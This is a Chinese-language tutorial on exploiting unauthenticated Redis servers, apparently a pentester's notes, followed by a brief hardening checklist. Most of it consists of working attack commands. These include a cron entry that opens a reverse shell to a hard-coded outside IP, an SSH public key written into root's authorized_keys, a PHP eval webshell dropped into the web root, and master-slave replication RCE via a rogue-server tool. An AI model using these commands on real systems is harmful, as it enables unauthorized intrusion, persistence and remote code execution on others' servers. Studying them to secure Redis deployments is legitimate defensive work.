Redis
想整理一波Redis利用方式,在内网中很容易遇见(方便运维人员)
简介:redis是一个key-value存储系统,nosql - 非关系型数据库,支持存储的value类型相对更多,包括string、list、set、zset和hash。这些数据类型都支持push/pop、add/remove及交并差和更丰富的操作,且操作都是原子性。为了保证效率,数据都是缓存在内存中,区别是redis会周期性的把更新的数据写入磁盘或者把修改写入追加的记录文件,并在这个基础上实现了master-slave(主从)同步,后面也会说关于主从的rce。
Redis基本操作
- set testkey “hello” - 创建一个键值对
- keys * 显示所有键
- delxxx 删除键为key的数据
- get xxx 读key的内容
- config set dir /home/test 设置工作目录
- config set dbfilename redis.rdb 设置备份为减价
- save 进行一次备份操作
1、 set和get可以完成基本的赋值取值操作
2、Redis不区分大小写
3、keys * 可以列出所有键
4、键值中有空格 需要使用双引号连起来
利用方式一:反弹Shell
靶机redis相关配置文件修改
后面其他利用方式配置文件如下
通过redis反弹shell回来
首先确定redis版本,低版本可以直接利用,高版本在搭建完靶场后需要修改配置:
1.修改redis.conf文件,添加自己的ip进去,否则默认只能本地连接
2.关闭保护模式,否则无法连接进去
yes改为no
3.132行no改为yes,只有这样才可以修改配置文件
如果不修改这一步,会报错
(error) ERR CONFIG SET failed (possibly related to argument ‘dir’) - can’t set protected config
当然,如果你没有这一行,证明你的版本没有此保护,可以忽略这一步操作。
这是高版本redis的保护机制,所以目前redis未授权的反弹shell或是写入ssh都只能在低版本利用,同时反弹shell对系统要求也有限制,这里只成功在centos中复现成功。
修改完配置
反弹shell
进行反弹SHELL操作
首先,在你接受shell的机器打开监听,我这里监听3333端口
set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/38.22.133.155/3333 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
当然还可以调用lua语句
#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,此处可以直接调用lua语句。
eval "redis.call('set','cron',string.char(10)..ARGV[1]..string.char(10))" 0 '*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'
将反弹shell指令加入计划任务
成功弹回shell
利用方式二:Redis密钥写入ssh
利用条件:
1、Redis服务使⽤ROOT账号启动、且可未授权登陆
2、服务器开放了SSH服务,⽽且允许使⽤密钥登录,即可远程写⼊⼀个公钥,直接登录远程 服务器。
生成密钥公钥
ssh-keygen -t rsa
防止乱码
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt
导入内容到redis数据库
cat key.txt | redis-cli -h 192.168.1.74 -a 123456 -x set ssh
-a 是登陆密码,没有可以不填
回显为OK
然后接下来,保存到目录下
redis:6379> config set dir /root/.ssh
redis:6379> config set dbfilename authorized_keys
redis:6379> save
这时候就大功告成了,直接ssh连入
利用方式三: Redis写WEBSHELL
这种方式需要知道网站物理路径
获取网站路径方式:1、报错 2、phpinfo 3、配置文件 4、 数据库 5、相关数据泄漏
redis:6379> config set dir /var/www/html/
redis:6379> config set dbfilename shell.php
redis:6379> set x "<?php phpinfo();eval($_POST['ant']);?>"
redis:6379> save
利用方式四:主从复制RCE
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指一个redis作为主机,其他为备份机,主从数据相同,从机去读,主机写。在Redis4.x之后,通过外部扩展,可以实现redis中实现一个新的redis命令,构造恶意.so文件,在两个redis实例设置主从模式,redis主机实例可以通过FULLRESYNC同步文件到从机上,在从机家在恶意so文件,从而执行文件。
影响版本:redis<=5.05
工具下载:
https://github.com/n0b0dyCN/redis-rogue-server
$ python3 redis-rogue-server.py --rhost 192.168.0.109 --lhost 192.168.0.145
Redis安全设置
1、单独为redis设置一个普通账户,不要用root,如果被爆破密码,权限过高
2、设置本地localhost 不允许外部访问
3、 开启保护模式,即配置文件中protected-mode一定设置为yes
4、 设置高强度password - requirepass参数
5、 修改redis默认端口,不用6379
做到上面五步,就很难被攻入